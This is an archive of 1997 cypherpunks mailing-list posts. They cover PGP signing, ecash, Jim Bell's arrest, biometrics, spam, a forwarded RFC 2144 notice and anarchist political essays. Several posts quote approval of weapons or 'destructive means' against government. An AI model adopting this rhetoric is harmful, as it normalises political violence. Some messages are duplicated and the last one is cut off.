record them at the source, either by tapping your phone or wiretapping
your house. In that case, signing your postings would make it more
difficult to forge a posting with your name on it. On the other hand,
if they break your private key's password, you're in bigger trouble.

>
>I'm not saying that signatures are not a Good Thing. Indeed, if I ever get
>a version of PGP or S/MIME adequately integrated with my OS and Eudora Pro,
>I may (or may not) start auto-signing all e-mail. (Gulp.)

PGP is coming soon. In the meantime, you can use FileCrypt, which
works well with Eudora on the Mac (I'm running it under an 8.0 beta
without problems). There's a time-limited demo version at
<http://www.highware.com> It is not encumbered by export control.

Martin.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2, by FileCrypt 1.0

iQCVAwUBM4UdTG23+ciinrc5AQGdRgP/Sj7QGYGvqM6e4EaRs1G/MRZseryAgWRD
CcZKuiGaGRr3dyyXQ8sMPivNfD/wh46vHN7csUM0qC/H03e+A983bHcD3B0RsiIx
yXPI2lZThcYKYMmMjJyWccT7AoQB3dRtQFO/7EGeoJxOcruF5bavdKcJF6wUOFkL
nXBdc50UJWE=
=P/ni
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 23 May 1997 11:19:10 +0800
To: cypherpunks@einstein.ssz.com
Subject: index.html
Message-ID: <199705230231.VAA18388@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain


   CNN logo 
   US navbar 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner Samsung. Meeting the challenge. 
   
     rule
     
                    WOMAN TRIES TO SELL KIDNEY TO PAY BILL
                                       
      sparrow May 22, 1997
     Web posted at: 10:59 a.m. EDT (1459 GMT)
     
     ST. PETERSBURG, Florida (CNN) -- Faced with a $25,000 bill for gall
     bladder surgery, a Florida woman placed an ad in a local newspaper
     to sell her kidney to cover the surgery. But there's a big problem
     with her plan: It's illegal.
     
     "KIDNEY Runs good, Taking offers. $30,000/obo," read the
     advertisement in this week's St. Petersburg Times.
     
     Ruth Sparrow isn't joking either. She has been drinking buckets of
     water for more than two months to clean out the organ, prepping it
     for donation.
     
     "I'm not doing it for a profit," she told CNN-affiliate WTVT in
     Tampa. "You're trading a damn kidney for a gall bladder." icon
     (85K/6 sec. AIFF or WAV sound)
     
     Sparrow, a 55-year-old nurse, said she told doctors before the
     surgery that she would be unable to pay the bill and offered to pay
     the bill by donating her kidney. The offer was refused, she said.
     movie icon (331K/28 sec. QuickTime movie)
     
     Federal and state laws prohibit anyone from offering buy or sell a
     human organ or tissue. In Florida, the offense is a second-degree
     felony. medical.center
     
     Jean Layne of Lifelink of Florida, a tissue recovery organization,
     explained that the reason for the law is "not to disadvantage
     families who do not have a lot of money, allowing everyone equal
     access to transplantation."
     
     Bayfront Medical Center, where the gall bladder surgery was
     performed, was stunned when notified of the ad. It said Sparrow owes
     about $17,000 on the bill and that the medical center is "trying to
     get her qualified for some type of assistance."
     
     Sparrow dropped her medical insurance four years ago because she
     could not afford the $4,000-a-year premium.
     
     She said it's unfair that taxpayers pick up the tab for criminals'
     medical expenses, while she could get punished for her tactic. icon
     (145K/12 sec. AIFF or WAV sound) She also emphasized that she did
     not know it was illegal to run the ad.
     
     "I just want to live in my own little hovel and pay my bills like
     everybody else," she said. "I don't want to owe anybody."
     
     From CNN-affiliate WTVT Reporter Stan Jayson  
     rule CNN Plus 
     * Consumer News - Fitness and Health
       
  Related story:
  
     * Florida man offers to 'lease' a kidney - April 2, 1997
       
  Related sites:
  
     Note: Pages will open in a new browser window
     * The St. Petersburg Times
     * Bayfront Medical Center
     * United Network for Organ Sharing Transplantation Information Site
     * American Share Foundation - organ donation and transplantation
       information
       
     
     
     External sites are not endorsed by CNN Interactive. rule Message
     Boards 
     
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     Tell us what you think!
     
     You said it... [INLINE] Samsung. Meeting the challenge. rule
     
   
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   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 23 May 1997 13:00:30 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: More stories from the Bell jar...
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <3.0.2.32.19970522214626.00b356c0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:11 PM 5/22/97 -0500, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>, on 05/22/97 
>   at 08:43 PM, Alan Olsen <alan@ctrl-alt-del.com> said:
>
>>Bell was arrested Friday on a federal complaint charging him with 
>>obstructing and impeding the Internal Revenue Service and the use  of
>>false Social Security numbers.  The complaint said that documents  found
>>on Bell's computer boasted of the mercaptan attack on the office of a
>>Portland lawyer who had sued him.
>
><sigh> I would have thought that Jim would be smarter than leaving such
>info on his computer unencrypted. I find it equally troubling that he
>would put such info in "writting" to begin with.
>
>Ofcource since no inventory was done of the documents contained on his HD
>the FEDS could plant anything that they wanted with little hope of proving
>that they did.

This is one of the few stories out of the whole mess that I do believe.

I was told about the above incident over a year ago by a friend who has known 
Jim for many years.

>I'm not quite sure how one could counter against such an attack. Even if
>one stored all documents in an encrypted partition there are still
>protions of the HD that the OS will require to be unencrypted. Perhaps
>have a boot disk that would decrypt the OS section of the HD then boot the
>OS off the HD which then would use a crypto IFS to accesses the remainder
>of the drive. Even going to these lenghts they could just put what they
>wanted on a floppy and claim that they "found" it.

It is my understanding that Jim did not encrypt his hard drive at all.  (Jim 
was not all that experienced as a computer user.  (By his own admission.  At 
least what he said the time I met him.))

If the feds has stuck to the stink bomb story, it would have been alot more 
plausable.  But the "poisoning the bullrun" and "911" stuff is a bit far 
fetched for Jim.  It does not fit the way he thinks.

>I guess the only *real* solution is to get rid of the thugs.

Easier said than done...


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---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Fri, 23 May 1997 12:58:06 +0800
To: Robert Hettinga <whgiii@amaranth.com>
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
Message-ID: <199705230442.VAA15291@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 22 May 97 at 13:11, William H. Geiger III wrote:

> If given the choice between 2 evils of receiving Spamford
> Cyber-momo's crap or going to a metered rate INet I choose Spamford
> as the second will not get rid of him.

There we go!  The all American strive for compromise.  Yet, very few 
people are willing to compromise on this issue, for some reason.  I'd 
like for more people just give it up and come to the realization 
that the INet is going to be commercial, and no laws can stifle the 
commerce that goes on here.  Or stop Spam.  

Ross


=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@bluemoney.com>
Date: Fri, 23 May 1997 13:31:15 +0800
To: Adam Back <cypherpunks@algebra.com
Subject: Re: ecash & remailers
In-Reply-To: <199705221703.SAA02054@server.test.net>
Message-ID: <3.0.2.32.19970522221830.00694e68@descartes.bluemoney.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:03 PM 5/22/97 +0100, Adam Back wrote:
>
>To stop this, the sender should discard the blinding values, thereby
>removing his ability to be later coerced, or to later trace the
>recipient of his cash.
>
>Is there a way to purge blinding values from the ecash directory?
>

Coins are removed from the cash db when they are paid out. They are then
stored in the payments db along with the payment headers, etc. The blinding
factors are not stored once the coins have been paid. Regardless, removing
the payments db will not cause any ill effect (that I have noticed, except for
the obvious loss of payment records), so you can do that anyway if you like.

(Note, this is based on a hex dump of the payments db, so it's possible I'm 
wrong. Anyone from Digicash who knows otherwise, please correct me.)

Jeremey.

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--
Jeremey Barrett                                  VeriWeb Internet Corp.
Crypto, Ecash, Commerce Systems                 http://www.veriweb.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 23 May 1997 10:53:48 +0800
To: cypherpunks@toad.com
Subject: V-Chips for the Internet
Message-ID: <1.5.4.32.19970523022930.00970284@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


A White House press briefing today describes Clinton's
plan for providing V-chips for parents to control childrens'
access to the Internet. Technology is being developed for 
that purpose.

   http://jya.com/wh052297.txt

Quote:

                MS. LEWIS: It's our understanding, and we just checked
this with people at the White House who know much more about 
technology than all of us put together, that there is in fact technology 
being developed that would serve as the equivalent of a V-chip for the
Internet, and we think that's what the President referred to.

                Q Clinton has talked before about giving parents ways to
protect their children on the Internet, but has he ever before suggested
the idea of a V-chip for the Internet?

                MS. LEWIS:  Not that we know of, but we know -- as is
clear, I think, from his wording, he is aware that the technology has
been developing.

End quote.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Fri, 23 May 1997 12:18:06 +0800
To: cypherpunks@manifold.algebra.com
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
Message-ID: <199705230408.XAA32582@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


plz do not use bcc

igor

----- Forwarded message from Adam Shostack -----

>From cpunks@manifold.algebra.com  Thu May 22 13:12:32 1997
From: Adam Shostack <adam@homeport.org>
Message-Id: <199705221736.NAA17266@homeport.org>
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
To: coderpunks@toad.com (The Coderpunks list)
Date: Thu, 22 May 1997 13:36:16 -0400 (EDT)
X-Mailer: ELM [version 2.4ME+ PL27 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-cypherpunks@toad.com
Precedence: bulk

I hadn't seen this mentioned.  This is to coderpunks, bcc'd to
cypherpunks & cryptography.

Adam


------

A new Request for Comments is now available in online RFC libraries.


        RFC 2144:

        Title:      The CAST-128 Encryption Algorithm
        Author:     C. Adams
        Date:       May 1997
        Mailbox:    cadams@entrust.com
        Pages:      15
        Characters: 37532
        Updates/Obsoletes: None

        URL:        ftp://ds.internic.net/rfc/rfc2144.txt


There is a need in the Internet community for an unencumbered 
encryption algorithm with a range of key sizes that can provide 
security for a variety of cryptographic applications and protocols.  
This document describes an existing algorithm that can be used to 
satisfy this requirement.

This memo provides information for the Internet community.  This memo
does not specify an Internet standard of any kind.  Distribution of
this memo is unlimited.



----- End of forwarded message from Adam Shostack -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Fri, 23 May 1997 12:22:23 +0800
To: cypherpunks@manifold.algebra.com
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
Message-ID: <199705230409.XAA32615@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from Adam Shostack -----

>From cpunks@manifold.algebra.com  Thu May 22 13:12:33 1997
From: Adam Shostack <adam@homeport.org>
Message-Id: <199705221736.NAA17266@homeport.org>
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
To: coderpunks@toad.com (The Coderpunks list)
Date: Thu, 22 May 1997 13:36:16 -0400 (EDT)
X-Mailer: ELM [version 2.4ME+ PL27 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-cypherpunks@toad.com
Precedence: bulk

I hadn't seen this mentioned.  This is to coderpunks, bcc'd to
cypherpunks & cryptography.

Adam


------

A new Request for Comments is now available in online RFC libraries.


        RFC 2144:

        Title:      The CAST-128 Encryption Algorithm
        Author:     C. Adams
        Date:       May 1997
        Mailbox:    cadams@entrust.com
        Pages:      15
        Characters: 37532
        Updates/Obsoletes: None

        URL:        ftp://ds.internic.net/rfc/rfc2144.txt


There is a need in the Internet community for an unencumbered 
encryption algorithm with a range of key sizes that can provide 
security for a variety of cryptographic applications and protocols.  
This document describes an existing algorithm that can be used to 
satisfy this requirement.

This memo provides information for the Internet community.  This memo
does not specify an Internet standard of any kind.  Distribution of
this memo is unlimited.



----- End of forwarded message from Adam Shostack -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Fri, 23 May 1997 12:25:38 +0800
To: cypherpunks@manifold.algebra.com
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
Message-ID: <199705230409.XAA32644@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from Adam Shostack -----

>From cpunks@manifold.algebra.com  Thu May 22 13:12:34 1997
From: Adam Shostack <adam@homeport.org>
Message-Id: <199705221736.NAA17266@homeport.org>
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
To: coderpunks@toad.com (The Coderpunks list)
Date: Thu, 22 May 1997 13:36:16 -0400 (EDT)
X-Mailer: ELM [version 2.4ME+ PL27 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-cypherpunks@toad.com
Precedence: bulk

I hadn't seen this mentioned.  This is to coderpunks, bcc'd to
cypherpunks & cryptography.

Adam


------

A new Request for Comments is now available in online RFC libraries.


        RFC 2144:

        Title:      The CAST-128 Encryption Algorithm
        Author:     C. Adams
        Date:       May 1997
        Mailbox:    cadams@entrust.com
        Pages:      15
        Characters: 37532
        Updates/Obsoletes: None

        URL:        ftp://ds.internic.net/rfc/rfc2144.txt


There is a need in the Internet community for an unencumbered 
encryption algorithm with a range of key sizes that can provide 
security for a variety of cryptographic applications and protocols.  
This document describes an existing algorithm that can be used to 
satisfy this requirement.

This memo provides information for the Internet community.  This memo
does not specify an Internet standard of any kind.  Distribution of
this memo is unlimited.



----- End of forwarded message from Adam Shostack -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 23 May 1997 14:36:57 +0800
To: cypherpunks@toad.com
Subject: Re: New Chip Verifies Fingerprints (fwd)
In-Reply-To: <m0wUlwu-00001AC@r42h17.res.gatech.edu>
Message-ID: <19970522230945.17501@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 23, 1997 at 12:27:28AM -0400, Decius 6i5 wrote:
> > Veridicom, a spinoff of Lucent Technologies, just demoed (at
[...]
> 
> If I get mugged and the mugger wants access to my bank account all he has
> to do is chop off the relevant finger. Don't laugh. This *WILL* happen.
> Biometrics create an general economic incentive for maiming or murdering
> people.

I'm not so sure that this is realistic.  I have heard that earlier
fingerprint reading cards were very sensitive to size distortion --
that is, if you swung your arm in a circle to increase the blood
pressure in your hand, they would give a false reading, because of the
swelling in the fingers would be sufficient to throw off the
recognition software -- a smart card isn't *that* smart.  A problem 
of false negatives.

If you cut off a finger the blood pressure will go to zero, and the 
dimensions will change quite a bit, relatively speaking.

> I will take you one further... *When you implement a biometric system you
> are deciding that the value of that which is being protected is greater
> than the value of the lives of the people who have access to it.*
> 
> This is obvious if you look at the trade-offs. You are securing the system
> such that the easiest way to break it is to kill a person. Obviously this
> will reduce your instances of fraud, as killing a person is more messy
> then hacking a pin code. However, because the cost of killing someone is
> smaller than the value of the object being protected, there are going to
> be losses. You have to decide that you are capable of swallowing those
> losses. You have to decide that the value of the decrease in fraud over
> a non-biometric system is greater than that of the lives of the people who
> are lost when fraud does occur. This is a despicable situation, but don't
> think you won't see it. It is probably inevitable now. 

You don't have to kill or maim some to induce cooperation, and
biometric devices can be designed to pretty much require that the
subject be living.  Extortion or seduction are both quite viable, and 
work with any security system.  Biometrics don't really add 
anything.

Your point is just as meaningful for cryptography.  All strong crypto 
does is move the weak spot around.

Incidentally, I have heard (from a probably reliable source) that the
best biometric is a retina scan -- very reliable, hard to spoof,
*very* few false negatives.  [False positives are real bad for any
security system, of course.  False negatives are why you want back up
modes of access.]

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 23 May 1997 12:43:06 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: More stories from the Bell jar...
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <199705230434.XAA25146@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>, on 05/22/97 
   at 08:43 PM, Alan Olsen <alan@ctrl-alt-del.com> said:

>Bell was arrested Friday on a federal complaint charging him with 
>obstructing and impeding the Internal Revenue Service and the use  of
>false Social Security numbers.  The complaint said that documents  found
>on Bell's computer boasted of the mercaptan attack on the office of a
>Portland lawyer who had sued him.

<sigh> I would have thought that Jim would be smarter than leaving such
info on his computer unencrypted. I find it equally troubling that he
would put such info in "writting" to begin with.

Ofcource since no inventory was done of the documents contained on his HD
the FEDS could plant anything that they wanted with little hope of proving
that they did.

I'm not quite sure how one could counter against such an attack. Even if
one stored all documents in an encrypted partition there are still
protions of the HD that the OS will require to be unencrypted. Perhaps
have a boot disk that would decrypt the OS section of the HD then boot the
OS off the HD which then would use a crypto IFS to accesses the remainder
of the drive. Even going to these lenghts they could just put what they
wanted on a floppy and claim that they "found" it.

I guess the only *real* solution is to get rid of the thugs.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Rumour: NT means Not Tested

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elV2lDV1fR8=
=fy2A
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 23 May 1997 14:28:58 +0800
To: cypherpunks@algebra.com
Subject: Re: More stories from the Bell jar...
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <19970522231339.17428@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, May 22, 1997 at 11:11:56PM -0500, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>, on 05/22/97 
>   at 08:43 PM, Alan Olsen <alan@ctrl-alt-del.com> said:
>
>>Bell was arrested Friday on a federal complaint charging him with 
>>obstructing and impeding the Internal Revenue Service and the use  of
>>false Social Security numbers.  The complaint said that documents  found
>>on Bell's computer boasted of the mercaptan attack on the office of a
>>Portland lawyer who had sued him.
>
><sigh> I would have thought that Jim would be smarter than leaving such
>info on his computer unencrypted. I find it equally troubling that he
>would put such info in "writting" to begin with.

[...]

>I guess the only *real* solution is to get rid of the thugs.

Possibly the real solution is not to do stupid things.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 23 May 1997 11:40:09 +0800
To: John Deters <aba@dcs.ex.ac.uk>
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221414.JAA14267@mailhub.amaranth.com>
Message-ID: <v03020962afaabbb3bab6@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:40 pm -0400 on 5/22/97, John Deters wrote:


> Adam's "Tragedy of the Unmetered Commons" certainly provides a solution.
> Metering and charging e$ for mail-routing services would allow it to occur
> while stopping the freeloaders.

The tragedy of the commons, of course, is that nobody owns it. :-).

Eric Hughes and his penny-roll experiments to the contrary...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 23 May 1997 14:40:38 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@EINSTEIN.ssz.com>
Subject: Re: Police & military access
In-Reply-To: <199705230204.VAA18264@einstein.ssz.com>
Message-ID: <19970522232331.08458@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, May 22, 1997 at 09:04:15PM -0500, Jim Choate wrote:
> Hi,
> 
> It occured to me that if the police have no civil liberties extending beyond
> that of a citizen and citizens are not legaly permitted access to military
> hardware then neither should the police.
[...]
> If a police officer can buy body armor and automatic weapons for self
> defence then so can a citizen.

[...]

> Do police have any civil rights not endowed to a individual citizen?

No.  But on the job, doing their state assigned duties, they have
access to instrumentalities not available to private citizens or
off-duty police.  "On" and "off" duty may sometimes be a little fuzzy
in practice, but the principle is clear.  It isn't a big deal, and
it's not a matter of civil rights.  A license to practice medicine
gives you the ability to prescribe morphine.  A certain class of
drivers license lets you drive a school bus full of children. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 23 May 1997 14:36:06 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Natives Are Getting Restless (was Wine Politics Again!)
Message-ID: <3.0.32.19970522232436.00703270@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley wrote:

>I can see why you might say this, but I must ask why we need imaginative 
>ideas? - The old ones, involving guns and other weapons sound OK to me. 
>If you really want imaginative ideas go ask Jim Bell, his carbon fibres 
>idea was sure one I`d never heard of before.
		[and]
>Your style of discourse in your post suggests you believe that the most 
>effective way to go about achieving a better society and a better form of 
>government is the reform the present system.
................................................................


We need imaginative ideas because of being the New, Improved, Techno-Elite.
   Why use crude, primitive, outdated methods, when you can use new,
educated, modern ones. heh. 

Perhaps because of all the history I've read, coupled with (admittedly
limited) economic studies, I'm not inclined towards simple violence as the
best solution.   But this is only because it is, indeed, quite difficult to
deliver justice precisely; it is easy to make mistakes about who is the
real enemy and instead extinguish the wrong target, thus complicating
further the attempts at reestablishing normality (I have read of instances
like this, where the wrong person or group was destroyed by mistake,
creating havoc without solving the real problem).

What I think would be an effective way to achieve a better society &
government is to abandon both of them.  As in the financial markets, one's
attention should be removed from failing, troublesome political elements
and placed instead on things/systems which *are* rewarding.   The available
energies and resources which are being wasted would provide better returns
if applied/invested in real "growth" enterprises.   Of course, most people
aren't ready to do this just immediately, and do wish to promote the
existence of both, as they fear the consequences of living without these
comforting concepts.

There are presently many cities in the U.S. and even, surprisingly, sectors
of foreign governments which are privatizing many of their services.   This
is a teeny step for mankind, yet the end result is that it takes away the
excuse of the main governing agencies for the "need" to extract more &
more tax moneys for services which aren't working anyway.   As soon as
everyone has "seen" what has been accomplished by contracting services out
& disbanding the entrenched government departments, everyone realizes that
yes, there are alternatives to government-run services, and no, society
won't die tomorrow from the distance created between the new arrangements
and the central command structure.   You couldn't have argued most people
into this perception, however; they could not have imagined it.   

It is also a fact that many corporations are providing more and more
"benefits" to their employees (some as 'required by law' of course), taking
on such responsibilities in regard of the welfare of their employees as
resembles a small government.   This has the effect of shifting the
attention of many people away from what governments can do for them, to
what employment in certain companies can deliver.    As more individuals
begin to look to their employment/employers for these additional benefits,
their expectations are shifted accordingly away from a large central body
administering to their welfare.   This is not a clean weaning away, and it
is not without its own inherent errors in the reasons for its existence or
in the ways in which these services are conducted/administered (at
least,not by libertarian/anarchic standards).    But the result is that it
takes away from governments another area of responsibility, even while the
government positions itself as the commander of what companies will be
forced to do for their employees.   

As a matter of fact, what has been happening is that large companies are
coming into competition with governments as "providers".    Many people in
general, as well as on this list, sometimes wonder who is the more powerful
or evil: governments or corporations.   Regardless, as corporations take
responsibilities away from central bodies, these powers are distributed out
to the smaller financial organizations.    These little clones then begin
to take on a life of their own and begin to challenge the large parent
(this makes me think of Sun, which is now in effect challenging the export
laws without asking for permission and the U.S.gov has to determine what
the right thing is to do about it).

These are tug&pull operations; there are many large barks and much gnashing
of teeth.   But the ones with the money have clout and bargaining power, as
without them the U.S. cannot be a "world leader" (a term the meaning of
which is slowly dissolving away as well).

One day it will transpire that employees will look to their employers for
benefits, rather than to a large central Bureau of Disorganization.
Business organizations will be the means by which individuals arrange to
get their life's provisions (strange that this should presently be the
exception, rather than the norm).   Individual contractors will continue to
make their own short-term arrangements, negotiating for the kind of
remuneration which they will accept in exchange for their work.   One can
extrapolate from that any further developments towards individual leverage
in such arrangements.

Some people fear that this will only change the face of the Master and not
improve the situation at all.   But they forget that as long as they can
change employers, as long as they are not coerced into working for any
particular company, they can not only go where they find it best for
themselves, but they can of course create their own business organzation.
(duh)

This isn't really an idea for an alternative to violence; more of a
presentation of an existing trend which could obviate the need for armed
confrontation and explosive plans of action.    It does not take away the
need to always be prepared for self-defense (but there are many ways to
defend oneself); it does not take away from the need to let PowerMongers
know that individuals are willing & able to use destructive means to
prevent totalitarians from assimilating everyone into an amorphous mass of
subservient bodies.

But it does require perspective into the future, of imagining practical
developments from current trends, of researching the possibilities for
positive outcomes.  It requires that one think in terms of practicality
more than in terms of "sticking it to them".   But then some people are
looking for a good fight, too (on both sides).   I just personally wouldn't
want to be there when they clash.


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 23 May 1997 14:41:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Natives Are Getting Restless (was Wine Politics Again!)
Message-ID: <3.0.32.19970522232759.0068cfb4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley wrote:

>I can see why you might say this, but I must ask why we need imaginative 
>ideas? - The old ones, involving guns and other weapons sound OK to me. 
>If you really want imaginative ideas go ask Jim Bell, his carbon fibres 
>idea was sure one I`d never heard of before.
		[and]
>Your style of discourse in your post suggests you believe that the most 
>effective way to go about achieving a better society and a better form of 
>government is the reform the present system.
................................................................


We need imaginative ideas because of being the New, Improved, Techno-Elite.
   Why use crude, primitive, outdated methods, when you can use new,
educated, modern ones. heh. 

Perhaps because of all the history I've read, coupled with (admittedly
limited) economic studies, I'm not inclined towards simple violence as the
best solution.   But this is only because it is, indeed, quite difficult to
deliver justice precisely; it is easy to make mistakes about who is the
real enemy and instead extinguish the wrong target, thus complicating
further the attempts at reestablishing normality (I have read of instances
like this, where the wrong person or group was destroyed by mistake,
creating havoc without solving the real problem).

What I think would be an effective way to achieve a better society &
government is to abandon both of them.  As in the financial markets, one's
attention should be removed from failing, troublesome political elements
and placed instead on things/systems which *are* rewarding.   The available
energies and resources which are being wasted would provide better returns
if applied/invested in real "growth" enterprises.   Of course, most people
aren't ready to do this just immediately, and do wish to promote the
existence of both, as they fear the consequences of living without these
comforting concepts.

There are presently many cities in the U.S. and even, surprisingly, sectors
of foreign governments which are privatizing many of their services.   This
is a teeny step for mankind, yet the end result is that it takes away the
excuse of the main governing agencies for the "need" to extract more &
more tax moneys for services which aren't working anyway.   As soon as
everyone has "seen" what has been accomplished by contracting services out
& disbanding the entrenched government departments, everyone realizes that
yes, there are alternatives to government-run services, and no, society
won't die tomorrow from the distance created between the new arrangements
and the central command structure.   You couldn't have argued most people
into this perception, however; they could not have imagined it.   

It is also a fact that many corporations are providing more and more
"benefits" to their employees (some as 'required by law' of course), taking
on such responsibilities in regard of the welfare of their employees as
resembles a small government.   This has the effect of shifting the
attention of many people away from what governments can do for them, to
what employment in certain companies can deliver.    As more individuals
begin to look to their employment/employers for these additional benefits,
their expectations are shifted accordingly away from a large central body
administering to their welfare.   This is not a clean weaning away, and it
is not without its own inherent errors in the reasons for its existence or
in the ways in which these services are conducted/administered (at
least,not by libertarian/anarchic standards).    But the result is that it
takes away from governments another area of responsibility, even while the
government positions itself as the commander of what companies will be
forced to do for their employees.   

As a matter of fact, what has been happening is that large companies are
coming into competition with governments as "providers".    Many people in
general, as well as on this list, sometimes wonder who is the more powerful
or evil: governments or corporations.   Regardless, as corporations take
responsibilities away from central bodies, these powers are distributed out
to the smaller financial organizations.    These little clones then begin
to take on a life of their own and begin to challenge the large parent
(this makes me think of Sun, which is now in effect challenging the export
laws without asking for permission and the U.S.gov has to determine what
the right thing is to do about it).

These are tug&pull operations; there are many large barks and much gnashing
of teeth.   But the ones with the money have clout and bargaining power, as
without them the U.S. cannot be a "world leader" (a term the meaning of
which is slowly dissolving away as well).

One day it will transpire that employees will look to their employers for
benefits, rather than to a large central Bureau of Disorganization.
Business organizations will be the means by which individuals arrange to
get their life's provisions (strange that this should presently be the
